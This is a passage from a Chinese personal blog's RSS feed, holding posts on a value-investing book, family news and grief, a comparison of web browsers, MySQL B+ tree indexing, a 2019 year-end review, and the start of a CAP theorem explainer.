&lt;p&gt;但斌：熊市的时候有很多股票可以挑，打个比喻，就像打高尔夫球一样，很多球都落在地上，可以不断地打，打飞一个以后还有。熊市里，如果错过茅台还有招商银行，错过招商银行还有万科。现在是打一个少一个，快打光了。很多人“5·30”空仓了，他想球还会落在地上，还会让他有一个合适的位置打，但是恰恰相反，他想买的东西不断往上涨，他不想买的东西不断往下跌，他没有球可打。更可怕的是，如果他认为这些股票高估的假设是成立的，也许还能够等到这个球，如果事情的发展超出他的想象，真的连续3年100%增长，这个球就永远打不到了。如果思维方式不变，或者是对于这个增长老是持怀疑态度，他永远打不着这个球。所以投资难在哪？长期投资坚持的是什么？是对于一个国家、一个企业，它长期发展的逻辑有没有一个合理判断，有了这样一个合理的判断，你才有机会打出好球，否则的话会很遗憾。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 价值投资的本质是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;但斌：高盈利行业的共同特征是商业模式简单、可靠，容易理解，有强大的商业壁垒，有持续创造财富的能力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们自己算过，未来七年，茅台每年会有21%~24%的复合增长。腾讯我们现在看不到天花板，但是我们觉得它会大得像一个国家一样，不排除到10万亿元的可能性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;有些人后悔不过是因为他们不停在变。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 纽约上空自由飞翔的鸽子&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;女神像底座上的诗歌“欢迎你，那些疲乏了的和贫困的挤在一起渴望自由呼吸的大众，那熙熙攘攘的被遗弃了的可怜的人们。把这些无家可归的饱受颠沛的人们一起交给我。我站在金门口，高举起自由的灯火!”为理想的国家而言，显然是历史的倒退……美国的价值观已经在“撕裂”……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 绽放我们的生命&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此刻，这位老朋友也让我联想起英国圣公会主教墓碑上的一段话：当我年轻自由的时候，我的想象力没有任何局限，我梦想改变这个世界。当我渐渐成熟明智的时候，我发现这个世界是不可能改变的，于是我将眼光放得短浅了一些，那就只改变我的国家吧！但是我的国家似乎也是我无法改变的。当我到了迟暮之年，抱着最后一丝努力的希望，我决定只改变我的家庭、我亲近的人——但是，唉！他们根本不接受改变。现在在我临终之际，我才突然意识到：如果起初我只改变自己，接着我就可以依次改变我的家人，然后，在他们的激发和鼓励下，我也许就能改变我的国家。再接下来，谁又知道呢，也许我连整个世界都可以改变。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;个人感悟&#34;&gt;个人感悟&lt;/h2&gt;
&lt;p&gt;几年前在美股市场买了一点美股，当时看好英伟达，觉得英伟达是一家伟大的企业，本金很少，但是收益率很高。前段时间，买过蔚来，在2块买入，3块卖掉了。读完时间的玫瑰之后，作为自诩价值投资的人，感到深深的羞愧。自己还是有不少投机的思维，看好一家公司，长期持有他。投资可能也就是如此简单吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>我有个小侄子了</title>
      <link>http://blog.leaver.me/2020/09/08/%E6%88%91%E6%9C%89%E4%B8%AA%E5%B0%8F%E4%BE%84%E5%AD%90%E4%BA%86/</link>
      <pubDate>Tue, 08 Sep 2020 09:36:14 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/09/08/%E6%88%91%E6%9C%89%E4%B8%AA%E5%B0%8F%E4%BE%84%E5%AD%90%E4%BA%86/</guid>
      <description>&lt;p&gt;9月2日，弟妹产下一子，从此我有了一个亲侄子-君酌，也成了“伯伯”辈的人了。&lt;/p&gt;
&lt;p&gt;几个月前，弟弟说让我有空了也看看有了小孩起个什么名字，想着还早，也就随便看了看。结果，9月1日，弟弟发微信说，弟妹已经进产房了。我才想到名字还没想好。没有想象中的兴奋，也没有很激动，更多的是震惊。这才多久，我就已经成了伯伯辈，而家里也居然添了一名新丁。&lt;/p&gt;
&lt;p&gt;周末跟奶奶发视频，她说，弟弟问他我和我哥的名字是谁起的，奶奶说是你爷爷起的，就想到这个名字就起了。（我这个名字起名的事情其实我是知道的），小时候，还总觉得自己的名字为啥这么简单，志向远大，不是很文艺。说到起名，那一瞬间，有点恍惚，就像是完成了一次交替，也有点遗憾。&lt;/p&gt;
&lt;p&gt;奶奶说，生之前也不知道是男是女， 她还给想了几个名字，什么今年这疫情，起了个什么“战疫”之类的。。我说算了算了，哪能这么起，我都给想好几个了，他们选了君酌这个，我弟应该给你说了吧。他说嗯，好。没必要找算命的起。那个酌字给我发了拼音，我还没记住。&lt;/p&gt;
&lt;p&gt;我妈辞掉了目前在做的一点工作，以后就专心带娃了。爸那边，估计年底也就不再做了，回县城，爸爸，妈妈和奶奶就在一起带娃，对他们的期望就是身体健康，别累着。生活开心。就好了。想起了那天看到的几句话，原话记不清楚了，大意就是父母这一辈，度过了国家比较苦的阶段，又在新阶段，接纳了掏空自己给儿女买房的观念，同时，又要承担所谓理所当然的帮带孩子的“义务”，最后，还有他们的父母需要他们来养。也许这就是命吧，我们能做的，大抵也就是尝试理解他们，体谅他们，尽自己所能的排解这种压力。&lt;/p&gt;
&lt;p&gt;波波折折，弟弟和弟妹终于在外人看来是修成正果，未来的路还很长，还是要好好相处，家庭和睦，父母安好，加油。&lt;/p&gt;
&lt;p&gt;对了，君酌，取自李白的“主人何为言少钱？径须沽取对君酌”，期望小侄子，人生洒脱，得意时须尽欢，失意时也能积极面对。&lt;/p&gt;</description>
    </item>
    <item>
      <title>弟弟结婚了</title>
      <link>http://blog.leaver.me/2020/05/02/%E5%BC%9F%E5%BC%9F%E7%BB%93%E5%A9%9A%E4%BA%86/</link>
      <pubDate>Sat, 02 May 2020 13:56:52 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/05/02/%E5%BC%9F%E5%BC%9F%E7%BB%93%E5%A9%9A%E4%BA%86/</guid>
      <description>&lt;p&gt;2020年4月29日，弟弟弟妹结婚了。虽然有很多波折，但是总算有个大家都期待的结果。&lt;/p&gt;
&lt;p&gt;以后还是希望弟弟承担起新家庭的责任，好好努力，把自己的家庭经营好。也希望本身成熟一些，做事情多考虑一点。&lt;/p&gt;
&lt;p&gt;天那，难道我马上要有一个小侄子了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个没有问候的生日</title>
      <link>http://blog.leaver.me/2020/03/19/%E4%B8%80%E4%B8%AA%E6%B2%A1%E6%9C%89%E9%97%AE%E5%80%99%E7%9A%84%E7%94%9F%E6%97%A5/</link>
      <pubDate>Thu, 19 Mar 2020 18:36:32 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/03/19/%E4%B8%80%E4%B8%AA%E6%B2%A1%E6%9C%89%E9%97%AE%E5%80%99%E7%9A%84%E7%94%9F%E6%97%A5/</guid>
      <description>&lt;h2 id=&#34;爷爷奶奶&#34;&gt;爷爷奶奶&lt;/h2&gt;
&lt;p&gt;早上到公司的时候，Mac 的 日历突然弹出一个提醒&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;生日提醒&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020_birthday_grandpa.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;仿佛就在昨天，可再也没有机会问候了。时间已经过去了半年了。真的是太快了。&lt;/p&gt;
&lt;p&gt;这半年来。奶奶还经常用爷爷的微信号和手机，浇水拼多多，在群里转发一些广告什么的。看到的的时候，就仿佛他还在一样，头像还是他和奶奶的一张合照，还是我当时拍的。&lt;/p&gt;
&lt;p&gt;这半年，每周还是会给奶奶打电话，看她状态还不错，只是出去走的早。疫情原因，最近终于放开了。她也就出去逛逛。奶奶性格很好。女儿们离得近，多关心关心，生活也很开心。&lt;/p&gt;
&lt;p&gt;前段时间，奶奶说手机号等她把什么都办好了。就不要续费了。最近还有一些东西没办完，说她不会交话费，让我交点续个费。那时候。也就假装没什么感受。一边聊着天，一边把话费交了。今天又悄悄续了一点费。&lt;/p&gt;
&lt;h2 id=&#34;弟弟弟妹&#34;&gt;弟弟弟妹&lt;/h2&gt;
&lt;p&gt;17号的时候，经过一段时间的波折，弟弟领了结婚证，算是入了婚姻的坑。祝他们俩幸福生活，互相成长。周末的时候，两天都在陪着家里处理这些事情。弟弟工作后，经历了一点小挫折，本身性格也比较内向。在一些事情上想的不够多，也不够果断，比较容易纠结。&lt;/p&gt;
&lt;p&gt;作为亲哥，在弟弟，弟妹，妈妈，亲人之间协调。最晚的时候，凌晨2，3点还在打电话，总算把这个事情搞定了。既往不咎，不计前嫌，希望他们俩真的幸福。双方也能更加珍惜彼此。&lt;/p&gt;
&lt;p&gt;快结束的时候，妈妈突然跟我说发了个微信，说你做事真像你爷爷。也不知道是该高兴还是该伤心。以前家里有爷爷依靠，现在没有了，可是，终有一天，自己也成为了别人的一点依靠。&lt;/p&gt;
&lt;p&gt;看到了一句话，“他去世后，我开始愿意相信这世界上有鬼。”&lt;/p&gt;
&lt;h2 id=&#34;爸爸妈妈&#34;&gt;爸爸妈妈&lt;/h2&gt;
&lt;p&gt;妈妈最近为弟弟，弟妹的事情也操心的不行，总算尘埃落地。向前看，都会好的。爸爸随便干点事情，现在对爸爸妈妈的希望就是身体健康，其他什么都是次要的。&lt;/p&gt;
&lt;h2 id=&#34;工作生活&#34;&gt;工作生活&lt;/h2&gt;
&lt;p&gt;某天称了一下体重，不可思议，居然过年后的这段时间，减轻了1公斤。但是感觉自己吃的挺好的。运动量也没变化，很是神奇。&lt;/p&gt;
&lt;p&gt;周末在家倒是经常做饭。感觉自己手艺见长，以前想卖水果，现在看来做菜也行。最近工作很多，经常回家很晚。过段时间争取好点吧。&lt;/p&gt;
&lt;p&gt;天气热了，出门戴口罩还是挺烦的。也希望疫情尽快过去。&lt;/p&gt;</description>
    </item>
    <item>
      <title>几个浏览器的使用体验</title>
      <link>http://blog.leaver.me/2020/03/07/%E5%87%A0%E4%B8%AA%E6%B5%8F%E8%A7%88%E5%99%A8%E7%9A%84%E4%BD%BF%E7%94%A8%E4%BD%93%E9%AA%8C/</link>
      <pubDate>Sat, 07 Mar 2020 14:37:40 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/03/07/%E5%87%A0%E4%B8%AA%E6%B5%8F%E8%A7%88%E5%99%A8%E7%9A%84%E4%BD%BF%E7%94%A8%E4%BD%93%E9%AA%8C/</guid>
      <description>&lt;p&gt;前段时间，由于对 Chrome 即将成为 IE 和一些隐私方面的担忧。也顺便想尝试一下其他的浏览器，于是稍微换了一些。当然，现在又回到了 Chrome。简单记录一下。&lt;/p&gt;
&lt;p&gt;Brave 浏览器，基于 Chromium 网页浏览器由 Mozilla 项目的联合创始人、JavaScript 的创造者布蘭登·艾克宣布。宣称阻止网站跟踪器和移除侵入式网络广告。确实可以拦截部分广告，另外有一个特色的挖矿钱包功能，就是你可以选择接受通知，看广告，然后获取虚拟货币。界面也很漂亮。但是这个东西。速度嘛，感觉也没有宣称的那么快。毕竟。道理上说不通啊。你都8倍了。Google 的开发者是水瓶不行么。。另外，这个玩意对于国内网站不够友好。国内的电商网站，比如淘宝，京东，等，基本上默认情况下，打开全屏幕空白。。因为认为是广告。&lt;/p&gt;
&lt;p&gt;Firefox 浏览器，火狐浏览器，基本上算是最后一个有点名气的非 Chromium 内核的浏览器了。其实我觉得还不错，我比较喜欢内置的画中画功能。另外，速度上，我感觉也不差。但是Firefox 的 收藏夹功能真的是。。乱。最大的问题就是因为内核的原因。核心工作用的几个网站都用不了。因为开发网站的同学不兼容。不得不放弃。手机上也可以。&lt;/p&gt;
&lt;p&gt;Edge 浏览器，微软基于 Chromium 的浏览器，界面风格我还挺喜欢，首页的广告默认存在，可以通过安装其他tab插件来解决屏蔽，支持 Chrome 扩展，但是注意，功能很不完善，很多同步功能都是废的。设置里面很多时间，你选了其他选项，根本看不到变化，刷新一下，发现好像生效了。有个特色的Collection功能。如果专门查个什么资料，还是有点用，但是可以通过新建一个收藏夹的文件夹来基本替代。手机版内置去广告插件，还不错。Mac 和 iOS 的一些联动基本没有，比如你想吧手机上的发给电脑，只能通过 Airdrop 了。不能直接发送。和 Chrome 不同。还需要完善，可以跟进。多等几个版本看看。&lt;/p&gt;
&lt;p&gt;Safari 浏览器，其实挺简洁的，就是没啥进步，和公司不少网站也是不兼容的。插件也基本用不了，这点非常蛋疼，还要安装 App，阅读列表功能非常喜欢。可以同步。&lt;/p&gt;
&lt;p&gt;除了 Safari，其他几个浏览器的手机上也是有阅读列表这个功能的，但是很奇怪，大家都不支持同步，只在手机上保存。估计觉得可以通过收藏夹替代。另外，不少浏览器对于手机和PC/Mac的收藏夹是默认分开的，叫做移动设备书签。这个真的是。有点难用。 除了 Edge 的手机 App 还是很好用的，其他的几个浏览器手机上的体验都很奇怪，比如最基本的 Tab 页新增。最好的还是 Safari。&lt;/p&gt;
&lt;p&gt;综上所属，目前依然 Chrome。新时代的 IE。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mysql中的B&#43;树介绍</title>
      <link>http://blog.leaver.me/2020/01/10/mysql%E4%B8%AD%E7%9A%84b-%E6%A0%91%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Fri, 10 Jan 2020 07:55:18 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/01/10/mysql%E4%B8%AD%E7%9A%84b-%E6%A0%91%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;最近工作中遇到了一些索引的问题，发现自己其实并不了解，因此稍微了解下。在介绍B+树之前，需要先了解下B树，部分信息来源自参考文档。&lt;/p&gt;
&lt;h2 id=&#34;什么是-b-树&#34;&gt;什么是 B 树&lt;/h2&gt;
&lt;h3 id=&#34;b树概念&#34;&gt;B树概念&lt;/h3&gt;
&lt;p&gt;B树也称B-树,它是一棵多路平衡查找树（和二路对应）。二叉树我想大家都不陌生，其实，B树和后面讲到的B+树也是从最简单的二叉树变换而来，下面我们来看看B树的定义。我们定义m表示树的阶。阶数表示了一个节点最多有多少个子节点，那么一棵B需要满足以下几个条件&lt;/p&gt;
&lt;p&gt;1.每个节点最多有m-1个关键key（可以存有的键值）。
2.根节点最少可以只有1个关键字。意思是也可以有多个。
3.非根节点至少有m/2个关键字。如果少了，那么就要进行树的调整
4.为了平衡查找，每个节点中的关键字都按照从小到大的顺序排列，每个关键字的左子树中的所有关键字都小于它，而右子树中的所有关键字都大于它。这个很简单了。没有这个保证的话，平衡查找无从谈起。
5.所有叶子节点都位于同一层，或者说根节点到每个叶子节点的长度都相同。
6.包括非叶节点在内，每个节点都存有key和数据，也就是对应的key和value。&lt;/p&gt;
&lt;p&gt;也就是说，根节点的关键字数量k的范围：1 &amp;lt;= k &amp;lt;= m-1，非根节点的关键字数量范围：m/2 &amp;lt;= k &amp;lt;= m-1。&lt;/p&gt;
&lt;h2 id=&#34;什么是b树&#34;&gt;什么是B+树&lt;/h2&gt;
&lt;p&gt;B+树其实和B树是很相似的，特点是能够保持数据稳定有序，其插入与修改拥有较稳定的对数时间复杂度。B+ 树元素自底向上插入，这与二叉树恰好相反。&lt;/p&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点&lt;/h3&gt;
&lt;p&gt;1.根节点至少一个元素
2.非根节点元素范围：m/2 &amp;lt;= k &amp;lt;= m-1&lt;/p&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点&lt;/h3&gt;
&lt;p&gt;1.B+树有两种类型的节点：内部结点（也称索引结点）和叶子结点。内部节点就是非叶子节点，内部节点不存储数据，只存储索引，数据都存储在叶子节点。而B树都存储数据，这会导致查询性能不稳定，因为查找次数不确定。&lt;/p&gt;
&lt;p&gt;2.内部结点中的key都按照从小到大的顺序排列，对于内部结点中的一个key，左树中的所有key都小于它，右子树中的key都大于等于它。叶子结点中的记录也按照key的大小排列。
3.每个叶子结点都存有相邻叶子结点的指针，叶子结点本身依关键字的大小自小而大顺序链接。
4.父节点存有右孩子的第一个元素的索引。&lt;/p&gt;
&lt;h2 id=&#34;mysql中的选择&#34;&gt;mysql中的选择&lt;/h2&gt;
&lt;h3 id=&#34;索引的数据结构&#34;&gt;索引的数据结构&lt;/h3&gt;
&lt;p&gt;数据库中，数据都存在磁盘中，索引也多到大部分存在磁盘中，这样对于索引，每次查找数据时把磁盘IO次数控制在一个很小的数量级，最好是常数数量级。就这样，b+树应运而生。&lt;/p&gt;
&lt;p&gt;MySQL 默认的存储引擎选择 B+ 树而不是哈希或者 B 树的原因：&lt;/p&gt;
&lt;p&gt;1.哈希虽然能够提供 O(1) 的单数据行操作性能，但是对于范围查询和排序却无法很好地支持，最终导致全表扫描；
2.B 树能够在非叶节点中存储数据，但是这也导致在查询连续数据时可能会带来更多的随机 I/O，而 B+ 树的所有叶节点可以通过指针相互连接，能够减少顺序遍历时产生的额外随机 I/O；&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;b+树&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-10-17-02-18.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;如上图，是一颗b+树，关于b+树的定义可以参见B+树，这里只说一些重点，浅蓝色的块我们称之为一个磁盘块，可以看到每个磁盘块包含几个数据项（深蓝色所示）和指针（黄色所示），如磁盘块1包含数据项17和35，包含指针P1、P2、P3，P1表示小于17的磁盘块，P2表示在17和35之间的磁盘块，P3表示大于35的磁盘块。真实的数据存在于叶子节点即3、5、9、10、13、15、28、29、36、60、75、79、90、99。非叶子节点只不存储真实的数据，只存储指引搜索方向的数据项，如17、35并不真实存在于数据表中。&lt;/p&gt;
&lt;h3 id=&#34;b树的查找过程&#34;&gt;b+树的查找过程&lt;/h3&gt;
&lt;p&gt;如图所示，如果要查找数据项29，那么首先会把磁盘块1由磁盘加载到内存，此时发生一次IO，在内存中用二分查找确定29在17和35之间，锁定磁盘块1的P2指针，内存时间因为非常短（相比磁盘的IO）可以忽略不计，通过磁盘块1的P2指针的磁盘地址把磁盘块3由磁盘加载到内存，发生第二次IO，29在26和30之间，锁定磁盘块3的P2指针，通过指针加载磁盘块8到内存，发生第三次IO，同时内存中做二分查找找到29，结束查询，总计三次IO。真实的情况是，3层的b+树可以表示上百万的数据，如果上百万的数据查找只需要三次IO，性能提高将是巨大的，如果没有索引，每个数据项都要发生一次IO，那么总共需要百万次的IO，显然成本非常非常高。&lt;/p&gt;
&lt;h3 id=&#34;b树和索引的关系&#34;&gt;b+树和索引的关系&lt;/h3&gt;
&lt;p&gt;联合索引，如果有一个3列索引(name,age,sex)，则已经对(name)、(name,age)、(name,age,sex)上建立了索引；&lt;/p&gt;
&lt;p&gt;1.我们知道IO次数取决于b+数的高度h，假设当前数据表的数据为N，每个磁盘块的数据项的数量是m，则有h=㏒(m+1)N，当数据量N一定的情况下，m越大，h越小；而m = 磁盘块的大小 / 数据项的大小，磁盘块的大小也就是一个数据页的大小，是固定的，如果数据项占的空间越小，数据项的数量越多，树的高度越低。这就是为什么每个数据项，即索引字段要尽量的小，比如int占4字节，要比bigint8字节少一半。这也是为什么b+树要求把真实的数据放到叶子节点而不是内层节点，一旦放到内层节点，磁盘块的数据项会大幅度下降，导致树增高。当数据项等于1时将会退化成线性表。&lt;/p&gt;
&lt;p&gt;2.当b+树的数据项是复合的数据结构，比如(name,age,sex)的时候，b+数是按照从左到右的顺序来建立搜索树的，比如当(张三,20,F)这样的数据来检索的时候，b+树会优先比较name来确定下一步的所搜方向，如果name相同再依次比较age和sex，最后得到检索的数据；但当(20,F)这样的没有name的数据来的时候，b+树就不知道下一步该查哪个节点，因为建立搜索树的时候name就是第一个比较因子，必须要先根据name来搜索才能知道下一步去哪里查询。比如当(张三,F)这样的数据来检索时，b+树可以用name来指定搜索方向，但下一个字段age的缺失，所以只能把名字等于张三的数据都找到，然后再匹配性别是F的数据了， 这个是非常重要的性质，即索引的最左匹配特性。&lt;/p&gt;
&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/B%2B%E6%A0%91&#34;&gt;https://zh.wikipedia.org/wiki/B%2B%E6%A0%91&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://segmentfault.com/a/1190000020416577&#34;&gt;https://segmentfault.com/a/1190000020416577&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://tech.meituan.com/2014/06/30/mysql-index.html&#34;&gt;https://tech.meituan.com/2014/06/30/mysql-index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://draveness.me/whys-the-design-mysql-b-plus-tree&#34;&gt;https://draveness.me/whys-the-design-mysql-b-plus-tree&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>2019 年终总结</title>
      <link>http://blog.leaver.me/2020/01/08/2019-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</link>
      <pubDate>Wed, 08 Jan 2020 08:40:22 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/01/08/2019-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</guid>
      <description>&lt;p&gt;2019 年很快过去了,以前有大把时间的时候没有感觉，而现在，时光如流水，怎么也抓不住。2019年，心情复杂。&lt;/p&gt;
&lt;h2 id=&#34;失去的一年&#34;&gt;失去的一年&lt;/h2&gt;
&lt;p&gt;这一年，爷爷生病离世，改变了很多事情。人生很短，一定要珍惜当下，珍惜眼前人。很多东西都可以通过各种方式重新获得。但是，生病，亲人，这些总是无能为力。今年体检，查出来中老年常见的血脂高。当然目前只高一点点，2019年，工作太忙。锻炼的很少。2020年，一定要坚持锻炼。&lt;/p&gt;
&lt;p&gt;给父母也申请了体检，查下来没有什么大问题，心里放下很多，然后该买的保险，也给父母和自己都买了一些。虽然保额不算太高，但是也是有个保障。&lt;/p&gt;
&lt;p&gt;对 XX 失去期待，基本上放弃了想要改变的想法，眼看着一些人被浪费，效率被无限拉低，还是多从自己做起，一屋不扫，何以扫天下。&lt;/p&gt;
&lt;h2 id=&#34;得到的一年&#34;&gt;得到的一年&lt;/h2&gt;
&lt;p&gt;2019年也是得到的一年，看了10多本书，心理学和经济学，还有一些小说，学习了一些新的技术， Golang，分布式事务，也成为 Seata 的 Committer，另外也对外做了一次500人场的Service Mesh 技术分享,之后又分享了几次。&lt;/p&gt;
&lt;p&gt;这一年，在杭州买了房，定了居。买了Air Pods 2，买了 Surge Mac，拿到了公司5年陈的戒指，顺便买了一个手链，买了很多家居用品，自己处理家里的大大小小的事情，自己在家做饭，吃火锅。&lt;/p&gt;
&lt;p&gt;这一年，也去湖北参加了同学的婚礼，在武大促膝长谈，跟朋友们在家里吃了饭，也去青海团建，吃了让人念念不忘的炕锅羊肉。&lt;/p&gt;
&lt;p&gt;年末的时候，买了开言英语的年费会员，目前坚持了一个多月了。刚开始很简单，有了一点信心。2020年继续努力。&lt;/p&gt;
&lt;p&gt;职业上有了晋升，当然也只是title变更，不过是资本家的把戏，不过5年，也算给自己一个交代。&lt;/p&gt;
&lt;h2 id=&#34;寻求改变的一年&#34;&gt;寻求改变的一年&lt;/h2&gt;
&lt;p&gt;这一年，尝试体验了一些新的产品，比如彻底放弃了余额宝，转为银行的产品。比如开始熟练微信支付。&lt;/p&gt;
&lt;p&gt;这一年，工作上，试图寻求突破，但很多事情并非能以人的意志为转移，并没有很好的达到自己的期望，作为公司层面可以理解，谁又能成为不可或缺的人。但是从个人角度来看。一旦没有上升空间，做的事情也没有比较大的价值，处在修修补补，到处支持，到处迁移的情况下，俗称搬砖，精力被无限的消耗，这样下去，核心竞争力没了，加班加不过新人，迟早成为马老板眼里的老白兔，这时候，就应该考虑是不是需要有新的机会和挑战，主动做出改变。2020年，多想一些，做点改变。&lt;/p&gt;
&lt;p&gt;生活上，经历了一些改变，也迎接一些改变，变化总是存在的。如果一切可预知，那么人生岂不是也毫无意义。2020年，多锻炼身体，一周两次不能少，也出去走走。&lt;/p&gt;
&lt;h2 id=&#34;2020-年&#34;&gt;2020 年&lt;/h2&gt;
&lt;p&gt;2020年，多做一些高价值的事情，能够坚持读一些英文的paper，探索一些新的非工作上的领域，最重要的，坚持读书不能少。&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解 CAP 理论</title>
      <link>http://blog.leaver.me/2020/01/06/%E7%90%86%E8%A7%A3-cap-%E7%90%86%E8%AE%BA/</link>
      <pubDate>Mon, 06 Jan 2020 10:00:08 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/01/06/%E7%90%86%E8%A7%A3-cap-%E7%90%86%E8%AE%BA/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;CAP理论 实际上听起来非常简单，但是有时候，遇到一些具体的问题的时候， 还是不能很清晰的分辨出来，到底是CP还是AP，以及一些其他的问题。因此，专门作为&amp;quot;生产者&amp;quot;来学习下，加深理解。&lt;/p&gt;
&lt;p&gt;首先，在理论计算机科学中，CAP定理（CAP theorem），又被称作布鲁尔定理（Brewer&amp;rsquo;s theorem），它指出对于一个分布式计算系统来说，不可能同时满足以下三点：&lt;/p&gt;
&lt;p&gt;1.一致性（Consistency） （等同于所有节点访问同一份最新的数据副本）
2.可用性（Availability）（每次请求都能获取到非错的响应——但是不保证获取的数据为最新数据）
3.分区容错性（Partition tolerance）（以实际效果而言，分区相当于对通信的时限要求。系统如果不能在时限内达成数据一致性，就意味着发生了分区的情况，必须就当前操作在C和A之间做出选择。）&lt;/p&gt;
&lt;p&gt;根据定理，分布式系统只能满足三项中的两项而不可能满足全部三项。&lt;/p&gt;
&lt;p&gt;这个定理起源于加州大学柏克莱分校（University of California, Berkeley）的计算机科学家埃里克·布鲁尔在2000年的分布式计算原理研讨会（PODC）上提出的一个猜想。 在2002年，麻省理工学院（MIT）的赛斯·吉尔伯特和南希·林奇发表了布鲁尔猜想的证明，使之成为一个定理。&lt;/p&gt;
&lt;h1 id=&#34;举例&#34;&gt;举例&lt;/h1&gt;
&lt;p&gt;假设你明天就要放长假了，你想买一本战争与和平的书籍，你最喜欢的在线商城里面只有一本了。&lt;/p&gt;
&lt;h2 id=&#34;一致性&#34;&gt;一致性：&lt;/h2&gt;
&lt;p&gt;Consistency，在Gilbert and Lynch 的论文里，他们也用 “Atomic” 原子性来代替一致性这个单词。
在买书的这个例子里，你要么就是把书放到了购物车，要么就是放失败了，要么付款，要么没付款，不可能说放了一半，或者说买了一半。只有一本书，如果两个客户都准备买，缺乏一致性的话，如果两个人都完成了下单，可能会出问题。比如两个人都下了单，当然，在这个例子中，并不严重。&lt;/p&gt;
&lt;p&gt;我们也可以用数据库来解决这个问题，数据库里有个字段减去个1，然后当及其他客户也要付款的时候，我们提示他没了。&lt;/p&gt;
&lt;p&gt;数据库看很好用。因为具有ACID的能力。既有一致性，又有原子性，中间状态对第二个客户端是不可见的。是隔离的。因为第二个客户端再下单的时候，另一个用户在事务中的话，就锁住了数据库那条记录。&lt;/p&gt;
&lt;h2 id=&#34;可用性&#34;&gt;可用性：&lt;/h2&gt;
&lt;p&gt;可用性就是说，当你需要的时候，大部分情况下，服务都是可以为你服务的。以买书为例，在用户A开启事务的时候，有那么几毫秒是锁表的，这个阶段，服务可以认为对其他用户是不可用的。并不是说要时时刻刻可用，一般会有个可用率的指标。如果记不住，可以通过这里来计算：
&lt;a href=&#34;https://uptime.is/99.99999&#34;&gt;https://uptime.is/99.99999&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;分区容错&#34;&gt;分区容错：&lt;/h2&gt;
&lt;p&gt;如果你就一个数据库，一个服务端，那一般也都是原子的，如果挂了，服务不可用，但是数据还是一致的。&lt;/p&gt;
&lt;p&gt;一旦你把数据和代码逻辑，开始部署在不同的节点上，这时候就存在分区。如Node A 不能和Node B通信来，这种分区问题经常出现。&lt;/p&gt;
&lt;p&gt;用图来证明：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;基础问题&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-43-03.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;在一个网络环境下，有两个节点，N1和N2，共享相同的数据V，在买书这个例子中，这个数据里面存储的就是有多少本书，假设初始值是V0，在N1上运行一个买卖算法，A，假设这个算法没有bug，非常正确，可心来，N2也是类似的，叫做B，A写了一个新值到V中，然后B从V中读取。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;正常流程&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-45-02.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;正常流程是这样，A写完之后，N1和N2通过一个消息（非具体的消息），将这个值同步给N2。然后B也就能读到了。&lt;/p&gt;
&lt;p&gt;1.A写了一个值V1
2.从N1发了个消息M到N2。
3.B也能从V中读到V1了&lt;/p&gt;
&lt;p&gt;但是，现实没有这么美好&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;分区&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-47-10.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;网络发生了分区，从N1到N2的消息没有投递成功。这样，到第三步的时候，N2读到了V0这个错误的值。&lt;/p&gt;
&lt;p&gt;如果M是一个异步消息，那么N1都没办法知道N2是不是收到了。即使有办法保证M这个消息一定发出去了。那么N1也没办法知道，这个消息是不是被投递了，也不知道N2处理的时候，有没有问题。那么，如果我们把M改成同步消息呢。也不行，因为这意味着将A写值到N1，和从N1到N2更新事件是一个原子操作。&lt;/p&gt;
